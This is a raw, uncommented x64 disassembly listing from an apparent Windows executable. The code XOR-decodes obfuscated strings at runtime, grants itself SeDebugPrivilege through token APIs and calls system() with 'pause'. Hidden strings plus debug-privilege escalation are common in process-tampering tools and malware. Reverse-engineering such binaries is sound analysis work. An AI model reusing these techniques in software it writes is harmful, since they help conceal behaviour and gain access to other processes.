movdqu xmmword [rsp + 0x30], xmm1
mov cl, 0x30
mov dl, 0x32
mov r8b, 0x29
mov r9b, 0x36
movzx r11d, r8b
mov bl, 0x2c
mov dil, 0x25
mov sil, 0x27
movzx r14d, dil
mov r15b, 0x33
mov r12b, 0x6e
movzx r13d, r12b
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r10d, xmm1
xor al, r10b
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], r10b
xor byte [rsp + 0x33], r10b
xor byte [rsp + 0x34], r10b
xor byte [rsp + 0x35], r10b
xor byte [rsp + 0x36], r10b
xor byte [rsp + 0x37], r10b
xor byte [rsp + 0x38], r10b
xor byte [rsp + 0x39], r10b
xor byte [rsp + 0x3a], r10b
xor byte [rsp + 0x3b], r10b
xor byte [rsp + 0x3c], r10b
xor byte [rsp + 0x3d], r10b
xor byte [rsp + 0x3e], r10b
xor byte [rsp + 0x3f], r10b
xor cl, r10b
mov byte [rsp + 0x40], cl
xor dl, r10b
mov byte [rsp + 0x41], dl
xor r8b, r10b
mov byte [rsp + 0x42], r8b
xor r9b, r10b
mov byte [rsp + 0x43], r9b
xor r11b, r10b
mov byte [rsp + 0x44], r11b
xor bl, r10b
mov byte [rsp + 0x45], bl
xor dil, r10b
mov byte [rsp + 0x46], dil
xor sil, r10b
mov byte [rsp + 0x47], sil
xor r14b, r10b
mov byte [rsp + 0x48], r14b
xor r15b, r10b
mov byte [rsp + 0x49], r15b
xor r12b, r10b
mov byte [rsp + 0x4a], r12b
xor r13b, r10b
mov byte [rsp + 0x4b], r13b
mov al, 0x6e
xor al, r10b
mov byte [rsp + 0x4c], al
mov byte [rsp + 0x4d], 0
lea rax, [rsp + 0x31]
mov qword [rbp + 0x80], rax
mov edx, 0xb
lea rcx, [rbp + 0x80]
call fcn.140003ac0
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
xor r14d, r14d
mov qword [rbp + 0x70], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x70]
lea edx, [r14 + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14000708b
mov dword [rbp + 0xc0], 1
mov dword [rbp + 0xcc], 2
lea r8, [rbp + 0xc4]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x140007081
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp + 0xc0]
xor edx, edx
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm0, xmmword [0x14000caf0]
movdqu xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [0x14000cbe0]
movdqu xmmword [rsp + 0x70], xmm1
mov word [rbp - 0x80], 0x2424
mov byte [rbp - 0x7e], 0x24
xor eax, eax
mov word [rbp - 0x7d], ax
mov rdi, r14
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rsp + 0x61]
call fcn.1400035e0
movzx ebx, byte [rsp + 0x60]
xor bl, byte [rax]
mov rdx, rdi
lea rcx, [rsp + 0x61]
call fcn.1400035e0
mov byte [rax], bl
inc rdi
cmp rdi, 0x23
jb 0x1400070c0
mov edx, 0x23
lea rcx, [rsp + 0x61]
call fcn.1400035e0
mov byte [rax], r14b
lea rcx, [rsp + 0x61]
call fcn.1400035d0
mov qword [rbp + 0x80], rax
mov edx, 0xb
lea rcx, [rbp + 0x80]
call fcn.140003ac0
lea rdx, [0x140010068]
cmp qword [0x140010080], 0x10
cmovae rdx, qword [0x140010068]
mov rcx, qword [rbp - 0x40]
call fcn.140001230
mov byte [rbp - 0x50], al
cmp al, 1
je 0x140007308
movdqa xmm1, xmmword [0x14000cbd0]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm2, xmmword [0x14000cbc0]
movdqu xmmword [rsp + 0x70], xmm2
mov dl, 0x3e
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x61], al
xor byte [rsp + 0x62], cl
xor byte [rsp + 0x63], cl
xor byte [rsp + 0x64], cl
xor byte [rsp + 0x65], cl
xor byte [rsp + 0x66], cl
xor byte [rsp + 0x67], cl
xor byte [rsp + 0x68], cl
xor byte [rsp + 0x69], cl
xor byte [rsp + 0x6a], cl
xor byte [rsp + 0x6b], cl
xor byte [rsp + 0x6c], cl
xor byte [rsp + 0x6d], cl
xor byte [rsp + 0x6e], cl
xor byte [rsp + 0x6f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x70], al
xor byte [rsp + 0x71], cl
xor byte [rsp + 0x72], cl
xor byte [rsp + 0x73], cl
xor byte [rsp + 0x74], cl
xor byte [rsp + 0x75], cl
xor byte [rsp + 0x76], cl
xor byte [rsp + 0x77], cl
xor byte [rsp + 0x78], cl
xor byte [rsp + 0x79], cl
xor byte [rsp + 0x7a], cl
xor byte [rsp + 0x7b], cl
xor byte [rsp + 0x7c], cl
xor byte [rsp + 0x7d], cl
xor byte [rsp + 0x7e], cl
xor byte [rsp + 0x7f], cl
xor dl, cl
mov byte [rbp - 0x80], dl
mov byte [rbp - 0x7f], r14b
lea rax, [rsp + 0x61]
mov qword [rbp + 0x80], rax
mov edx, 0xc
lea rcx, [rbp + 0x80]
call fcn.140003ac0
lea rcx, [rbp - 0x50]
call fcn.1400080c0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x14000727c
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007277
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000758e
call fcn.14000a11c
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1400072d6
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400072d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400075fb
call fcn.14000a11c
xor eax, eax
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.140009e70
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, [0x140003d10]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm1, xmmword [0x14000cad0]
movdqu xmmword [rsp + 0x30], xmm1
mov cl, 0x34
movzx edx, cl
mov r8b, 0x21
mov r9b, 0x20
mov r10b, 0x64
mov bl, 0xb
mov dil, 0x36
mov sil, 0x29
mov r14b, 0x26
mov r15b, 0x31
mov r12b, 0x2a
mov r13b, 0x2f
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd r11d, xmm1
xor al, r11b
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], r11b
xor byte [rsp + 0x33], r11b
xor byte [rsp + 0x34], r11b
xor byte [rsp + 0x35], r11b
xor byte [rsp + 0x36], r11b
xor byte [rsp + 0x37], r11b
xor byte [rsp + 0x38], r11b
xor byte [rsp + 0x39], r11b
xor byte [rsp + 0x3a], r11b
xor byte [rsp + 0x3b], r11b
xor byte [rsp + 0x3c], r11b
xor byte [rsp + 0x3d], r11b
xor byte [rsp + 0x3e], r11b
xor byte [rsp + 0x3f], r11b
xor cl, r11b
mov byte [rsp + 0x40], cl
xor dl, r11b
mov byte [rsp + 0x41], dl
xor r8b, r11b
mov byte [rsp + 0x42], r8b
xor r9b, r11b
mov byte [rsp + 0x43], r9b
xor r10b, r11b
mov byte [rsp + 0x44], r10b
xor bl, r11b
mov byte [rsp + 0x45], bl
xor dil, r11b
mov byte [rsp + 0x46], dil
xor sil, r11b
mov byte [rsp + 0x47], sil
xor r14b, r11b
mov byte [rsp + 0x48], r14b
xor r15b, r11b
mov byte [rsp + 0x49], r15b
xor r12b, r11b
mov byte [rsp + 0x4a], r12b
xor r13b, r11b
mov byte [rsp + 0x4b], r13b
mov al, 0x21
xor al, r11b
mov byte [rsp + 0x4c], al
mov al, 0x65
xor al, r11b
mov byte [rsp + 0x4d], al
mov byte [rsp + 0x4e], 0
lea rax, [rsp + 0x31]
mov qword [rbp + 0x80], rax
mov edx, 0xd
lea rcx, [rbp + 0x80]
call fcn.140003ac0
movdqa xmm1, xmmword [0x14000cb50]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm2, xmmword [str._M_b_A__b_AFLG_]
movdqu xmmword [rsp + 0x40], xmm2
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x31], al
xor byte [rsp + 0x32], cl
xor byte [rsp + 0x33], cl
xor byte [rsp + 0x34], cl
xor byte [rsp + 0x35], cl
xor byte [rsp + 0x36], cl
xor byte [rsp + 0x37], cl
xor byte [rsp + 0x38], cl
xor byte [rsp + 0x39], cl
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x40], al
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
mov byte [rsp + 0x4f], 0
lea rax, [rsp + 0x31]
mov qword [rbp + 0x80], rax
mov edx, 0xd
lea rcx, [rbp + 0x80]
call fcn.140003ac0
mov byte [rsp + 0x50], 0x71
mov al, 1
mov cl, 0x10
mov dl, 4
mov r8b, 2
mov r9b, 0x14
xor r10d, r10d
xor al, 0x71
mov byte [rsp + 0x51], al
xor cl, 0x71
mov byte [rsp + 0x52], cl
xor dl, 0x71
mov byte [rsp + 0x53], dl
xor r8b, 0x71
mov byte [rsp + 0x54], r8b
xor r9b, 0x71
mov byte [rsp + 0x55], r9b
mov byte [rsp + 0x56], r10b
lea rcx, [rsp + 0x51]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x14000759a
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140007595
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007595
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a11c
mov qword [rbp + 0xb0], 0
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x1400072d6
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400072d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400072d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r8, [rbp - 0x30]
call fcn.140005170
int3